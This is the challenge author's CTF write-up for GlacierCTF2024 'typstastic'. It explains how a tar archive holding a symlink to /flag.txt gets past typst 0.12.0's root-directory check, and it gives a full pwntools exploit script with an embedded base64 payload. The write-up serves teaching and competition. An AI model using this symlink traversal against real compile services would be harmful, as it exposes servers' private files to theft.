GlacierCTF2024 - typstastic

Author: Ernesto Martínez García

Tags: ctf misc

typstastic is a typst related challenge I authored in GlacierCTF2024. It had 50 solves 3h before the end of the 24h CTF. It categorizes in the easier side of the challenges.

You have the original CTFd distfile with a locally deployable version in [1]

The challenge is jailed per connection and has the following behaviour:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/sh

echo "[+] Welcome to the typstastic v0.12.0 typst PDF builder CI"
echo "[+] Give us your typst document and we'll compile it for you!"
echo "[+] We definitely don't have a flag in /flag.txt"

echo ""

echo "[+] Submit the base64 (EOF with a '@') of a .tar.gz file containing your "
echo "    document (main.typ) in the root folder"
echo "[+] Example: tar cz main.typ | base64 ; echo "@""
echo "[>] --- BASE64 INPUT START ---"
read -d @ FILE
echo "[>] --- BASE64 INPUT END ---"

DIR=$(mktemp -d)
cd ${DIR} &> /dev/null
echo "${FILE}" | base64 -d 2>/dev/null | tar xz &> /dev/null
rm -rf main.pdf &> /dev/null
typst compile --root ${DIR} main.typ &> /dev/null

if [ ! -e main.pdf ]
then
  echo "[!] Compilation failed :("
  exit 1
else
  echo "[+] --- BASE64 OUTPUT START ---"
  tar cz main.pdf 2> /dev/null | base64 
  echo "[+] --- BASE64 OUTPUT END ---"
  echo "[+] Example: ... | base64 -d | tar xz > main.pdf"
  exit 0
fi

It basically receives a tarfile with a typst project, compiles it with typst 0.12.0 and provides the resulting PDF back.

typst doesn’t let you access files from outside the root directory you are building from:

1
2
3
flag.txt
document/
document/main.typ

Here, main.typ can’t access flag.txt if you are building from document, or if you specify document as --root:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[ecomaikgolf@laptop ../solution/payload/]$ cat /flag.txt
SSD{LOCAL_LOCAL_LOCAL_LOCAL_LOCAL}
[ecomaikgolf@laptop ../solution/payload/]$ cat main2.typ
#let text = read("/flag.txt")
#raw(text, lang: "plain")
[ecomaikgolf@laptop ../solution/payload/]$ typst compile main2.typ 
error: file not found (searched at [...]/misc/typstastic/solution/payload/flag.txt)
  ┌─ main2.typ:1:17
1 │ #let text = read("/flag.txt")

The interesting part is that it doesn’t do the check after resolving symlinks, so you can do the following:

1
2
3
4
5
6
7
8
9

[ecomaikgolf@laptop ../solution/payload/]$ file file 
file: symbolic link to /flag.txt
[ecomaikgolf@laptop ../solution/payload/]$ cat main.typ 
#let text = read("file")
#raw(text, lang: "plain")
[ecomaikgolf@laptop ../solution/payload/]$ typst compile main.typ 
[ecomaikgolf@laptop ../solution/payload/]$ echo $?
0

Challenge connection is misleading at the example in purpose, it shows you that you can tar main.typ, but you can pass multiple files, including a symlink as its tar.

So you just sned a tarfile with a symlink to /flag.txt and the typst file reading it.

Here’s the full exploit:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env -S python3 -u
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host localhost --port 1337
from pwn import *
import re

# Set up pwntools for the correct architecture
# Just set TERM_PROGRAM in your ~/.profile!
# context.update(terminal='CHANGEME')
exe = (args.EXE or 'challenge')
host = args.HOST or 'localhost'
port = int(args.PORT or 1337)

# Find flag by exact match or format
# log.success(find_flag(io.recvall()))
real_flag = open("./flag.txt", "r").readline().strip()
fake_flag = open("./flag-fake.txt", "r").readline().strip()
def find_flag(output):
    if not isinstance(output, str):
        output = output.decode(errors="ignore")
    # Match real flag
    if real_flag in output:
        return real_flag
    # Match fake flag
    if fake_flag in output:
        return fake_flag
    # Match possible local flag
    with open("/flag.txt", "r") as local:
        locl_flag = local.readline().strip()
        if locl_flag in output:
            return locl_flag
    # Match regexp flag
    r = find_flag_fmt(output)
    if r is not None:
        return r
    # Definitely no flag found
    return None

# Find flag by format
# log.success(find_flag_fmt(io.recvall()))
ffmt = re.compile(r"gctf{.*}")
def find_flag_fmt(output):
    if not isinstance(output, str):
        output = output.decode(errors="ignore")
    m = ffmt.search(output)
    if m is None:
        return None
    return m.group(0)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    return process([exe] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# base64 payload.tar.gz ; echo "@"
payload = """
H4sIAAAAAAAAA+3UwWoCMRDG8Zz7FMN6URBN1mwChT5MsNlFGl1ZU2rfvllQ8GDpaRHp/3eZwwxk
whfS7lJUE9OF936sxjf6tl4pY722tXGNc0qbRuuNknrdptCt8jlPuNznKYdBRMVtvw+7j65P7d25
v/pPqtzpsMrfxynPGAN21v6ev9tc8ve18WXOWO2NEj3lUlf/PP9ZillyPGd5kyGG93nVlh+hWrzM
hvA1HxtLSeHQvUp1TOWtlM6jVwYAAAAAAAAAAAAAAABw8QOLlLv7ACgAAA==
@
"""

io = start()

io.sendlineafter(b"[>] --- BASE64 INPUT START ---\n", payload.encode(), timeout=5)

io.recvuntil(b"[+] --- BASE64 OUTPUT START ---\n", timeout=5)

pdf = io.recvuntil(b"[+] --- BASE64 OUTPUT END ---\n").decode().strip()
pdf = pdf.replace("[+] --- BASE64 OUTPUT END ---", "")

with open("out", "w") as f:
    f.write(pdf)

# All I know is bash
flag = os.popen(f"cat out | base64 -d | tar -xOz | pdftotext - - | grep gctf").read().strip()

os.remove("out")

f = find_flag(flag)
if f is not None:
    log.success(f)
    exit(0)
else:
    exit(1)

payload being the base64 of the following tarfile:

1
2
3
[ecomaikgolf@laptop ../typstastic/solution/]$ tar tzf payload.tar.gz 
file
main.typ

with the following contents:

1
2
3
4
5
6
7
[ecomaikgolf@laptop ../solution/payload/]$ ls -l
total 8
lrwxrwxrwx. 1 ecomaikgolf ecomaikgolf  9 Nov 21 21:32 file -> /flag.txt
-rw-r--r--. 1 ecomaikgolf ecomaikgolf 51 Nov 21 21:32 main.typ
[ecomaikgolf@laptop ../solution/payload/]$ cat main.typ 
#let text = read("file")
#raw(text, lang: "plain")

[1] https://ls.ecomaikgolf.com/archives/glacierctf2024/typstastic.tar.gz